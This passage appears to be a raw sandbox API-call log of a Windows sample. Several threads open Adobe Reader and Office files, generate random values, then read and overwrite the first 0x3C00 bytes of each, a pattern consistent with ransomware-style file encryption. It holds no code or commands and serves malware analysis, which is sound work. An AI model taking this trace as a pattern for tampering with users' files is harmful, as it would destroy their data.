Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x41a69f95 [0238.912] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x56f333b3 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x4b6764fd [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x3c1f93a6 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x76fe2209 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x25483737 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x1fb7ac49 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x1ea9ced8 [0238.913] RtlRandomEx (in: Seed=0x3fbaf5b0 | out: Seed=0x3fbaf5b0) returned 0x3be3906c [0238.919] SetFilePointerEx (in: hFile=0x2288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.919] ReadFile (in: hFile=0x2288, lpBuffer=0x424aa600, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3fbaf620, lpOverlapped=0x0 | out: lpBuffer=0x424aa600*, lpNumberOfBytesRead=0x3fbaf620*=0x3c00, lpOverlapped=0x0) returned 1 [0239.379] SetFilePointerEx (in: hFile=0x2288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a60 [0239.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867b40 [0239.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb10 [0239.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffb10) returned 1 [0239.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424269f0 [0239.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffb10 [0239.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20501040 [0239.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501040) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867b40) returned 1 [0239.383] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a60) returned 1 [0239.383] WriteFile (hFile=0x2288, lpBuffer=0x424269f0, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3fbaf620, lpOverlapped=0x0) Thread: id = 3980 os_tid = 0x1744 [0238.495] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d")) returned 0x20 [0238.495] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d", dwFileAttributes=0x20) returned 1 [0238.496] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\drvDX8.x3d" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\drvdx8.x3d"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2bec [0238.496] GetFileSizeEx (in: hFile=0x2bec, lpFileSize=0x4121fc60 | out: lpFileSize=0x4121fc60*=435600) returned 1 [0238.496] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x6a58c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.496] ReadFile (in: hFile=0x2bec, lpBuffer=0x4121fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4121fc28, lpOverlapped=0x0 | out: lpBuffer=0x4121fbe0*, lpNumberOfBytesRead=0x4121fc28*=0x4, lpOverlapped=0x0) returned 1 [0239.082] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313bb00 [0239.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313baa0 [0239.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43134fc0 [0239.320] NtQuerySystemTime (in: CurrentTime=0x4121fb20 | out: CurrentTime=0x4121fb20*=132462178431334000) returned 0x0 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x74c6892c [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x7605c8be [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x5d0f0ef6 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x3a86380d [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x5a97ff38 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x701701f4 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x5f2f3275 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x9c8c92b [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x66762489 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x5d152332 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x5d540e19 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x667a417c [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0xcc78e5a [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x164eecae [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x7670d6c3 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x2bb6803f [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x4c284590 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x7a032fa4 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x4de29b55 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x4b170c14 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x2064468a [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x4e39824c [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x73db2578 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x7ce48d27 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x3d6cbe94 [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x2aaa117d [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x7786d3ba [0239.320] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x62f80efc [0239.321] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x2c10e5fd [0239.321] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x90d62b6 [0239.321] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x27920dad [0239.321] RtlRandomEx (in: Seed=0x4121fb10 | out: Seed=0x4121fb10) returned 0x1f42e351 [0239.329] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.329] ReadFile (in: hFile=0x2bec, lpBuffer=0x41b84990, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x4121fb80, lpOverlapped=0x0 | out: lpBuffer=0x41b84990*, lpNumberOfBytesRead=0x4121fb80*=0x3c00, lpOverlapped=0x0) returned 1 [0239.424] SetFilePointerEx (in: hFile=0x2bec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0239.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62870 [0239.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85eb10 [0239.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ec0 [0239.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500ec0) returned 1 [0239.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41cf5950 [0239.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500ec0 [0239.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500c80 [0239.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500c80) returned 1 [0239.427] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85eb10) returned 1 [0239.428] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62870) returned 1 [0239.428] WriteFile (hFile=0x2bec, lpBuffer=0x41cf5950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x4121fb80, lpOverlapped=0x0) Thread: id = 3990 os_tid = 0x1100 [0244.297] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf")) returned 0x20 [0244.298] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf", dwFileAttributes=0x20) returned 1 [0244.301] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins3d\\prc\\MyriadCAD.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins3d\\prc\\myriadcad.otf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1bb4 [0244.301] GetFileSizeEx (in: hFile=0x1bb4, lpFileSize=0x410ffc40 | out: lpFileSize=0x410ffc40*=78276) returned 1 [0244.301] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x131c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.301] ReadFile (in: hFile=0x1bb4, lpBuffer=0x410ffbc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x410ffc08, lpOverlapped=0x0 | out: lpBuffer=0x410ffbc0*, lpNumberOfBytesRead=0x410ffc08*=0x4, lpOverlapped=0x0) returned 1 [0244.958] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bf40 [0244.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b790 [0244.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0244.958] NtQuerySystemTime (in: CurrentTime=0x410ffb00 | out: CurrentTime=0x410ffb00*=132462178487650000) returned 0x0 [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x31d2ebee [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x1d60cafd [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x41765b4a [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0xbf49657 [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x4d04bedf [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x1bc278ec [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x5ec911a [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x2630ac9c [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x66c3498c [0244.958] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x44677fe2 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x16f47475 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x2103b8a6 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x61006482 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x603582ed [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x6a9e6d2c [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x61452c62 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x3681706f [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x69f600c0 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x7fbe2dee [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0xf291a30 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x424c98c2 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x12fddeb1 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x24be4f41 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x2862e8b [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x4687c27d [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x2ae617ee [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0xd63684a [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x708230b9 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x1405ff62 [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x2e80ec7a [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x4644d3dd [0244.959] RtlRandomEx (in: Seed=0x410ffaf0 | out: Seed=0x410ffaf0) returned 0x38fa1114 [0244.966] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.966] ReadFile (in: hFile=0x1bb4, lpBuffer=0x20491ef0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x410ffb60, lpOverlapped=0x0 | out: lpBuffer=0x20491ef0*, lpNumberOfBytesRead=0x410ffb60*=0x3c00, lpOverlapped=0x0) returned 1 [0244.969] SetFilePointerEx (in: hFile=0x1bb4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059470 [0244.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba160 [0244.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0244.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a7d0) returned 1 [0244.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b79560 [0244.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a7d0 [0244.971] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205bfd0 [0244.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205bfd0) returned 1 [0244.972] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba160) returned 1 [0244.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0244.973] WriteFile (hFile=0x1bb4, lpBuffer=0x41b79560, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x410ffb60, lpOverlapped=0x0) Thread: id = 3991 os_tid = 0x1104 [0244.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav")) returned 0x20 [0244.619] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV", dwFileAttributes=0x20) returned 1 [0244.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\HORN.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\horn.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x12cc [0244.634] GetFileSizeEx (in: hFile=0x12cc, lpFileSize=0x1e5af720 | out: lpFileSize=0x1e5af720*=42002) returned 1 [0244.634] SetFilePointerEx (in: hFile=0x12cc, liDistanceToMove=0xa40e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.634] ReadFile (in: hFile=0x12cc, lpBuffer=0x1e5af6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e5af6e8, lpOverlapped=0x0 | out: lpBuffer=0x1e5af6a0*, lpNumberOfBytesRead=0x1e5af6e8*=0x4, lpOverlapped=0x0) returned 1 [0244.666] SetFilePointerEx (in: hFile=0x12cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1100 [0244.666] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb10a0 [0244.667] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1160 [0244.667] NtQuerySystemTime (in: CurrentTime=0x1e5af5e0 | out: CurrentTime=0x1e5af5e0*=132462178484686000) returned 0x0 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x4ff1c183 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x76e2fda [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x2de20f5d [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x43690ca8 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x4134bada [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x6a105e96 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x2df8ee92 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x32d1b708 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x6e43f3d4 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x51a89710 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x23fec7f3 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x2bf3612e [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x4ed758cc [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x680f0d09 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x53891984 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x24cd5b02 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x692b171 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x7a1de1a3 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x33ab5dca [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x6930096c [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x205c3470 [0244.667] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x53519680 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x5311d958 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x8fdd7d4 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x1215167a [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x58888815 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x2922e0d2 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0xa054bec [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x31bab607 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x28beb788 [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x2ca82eca [0244.668] RtlRandomEx (in: Seed=0x1e5af5d0 | out: Seed=0x1e5af5d0) returned 0x24d2aa21 [0244.674] SetFilePointerEx (in: hFile=0x12cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.674] ReadFile (in: hFile=0x12cc, lpBuffer=0x424979b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e5af640, lpOverlapped=0x0 | out: lpBuffer=0x424979b0*, lpNumberOfBytesRead=0x1e5af640*=0x3c00, lpOverlapped=0x0) returned 1 [0244.774] SetFilePointerEx (in: hFile=0x12cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0244.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebba60 [0244.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7020 [0244.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7020) returned 1 [0244.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x204ac360 [0244.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7020 [0244.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7110 [0244.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7110) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebba60) returned 1 [0244.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0244.777] WriteFile (hFile=0x12cc, lpBuffer=0x204ac360, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e5af640, lpOverlapped=0x0) Thread: id = 3992 os_tid = 0x1108 [0244.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav")) returned 0x20 [0244.620] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV", dwFileAttributes=0x20) returned 1 [0244.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\Sounds\\Things\\SHOT.WAV" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\sounds\\things\\shot.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x32d8 [0244.635] GetFileSizeEx (in: hFile=0x32d8, lpFileSize=0x1ef1fdc0 | out: lpFileSize=0x1ef1fdc0*=45390) returned 1 [0244.635] SetFilePointerEx (in: hFile=0x32d8, liDistanceToMove=0xb14a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.635] ReadFile (in: hFile=0x32d8, lpBuffer=0x1ef1fd40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ef1fd88, lpOverlapped=0x0 | out: lpBuffer=0x1ef1fd40*, lpNumberOfBytesRead=0x1ef1fd88*=0x4, lpOverlapped=0x0) returned 1 [0244.741] SetFilePointerEx (in: hFile=0x32d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.741] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb4820 [0244.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ab0 [0244.742] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb0e60 [0244.742] NtQuerySystemTime (in: CurrentTime=0x1ef1fc80 | out: CurrentTime=0x1ef1fc80*=132462178485466000) returned 0x0 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x4a0c4f6 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x2cb22677 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x1bf1e5c6 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x74250516 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x704e6555 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x2e80ec7a [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x1861096f [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0xbae6de6 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x12f302f2 [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: Seed=0x1ef1fc70) returned 0x4583691f [0244.742] RtlRandomEx (in: Seed=0x1ef1fc70 | out: 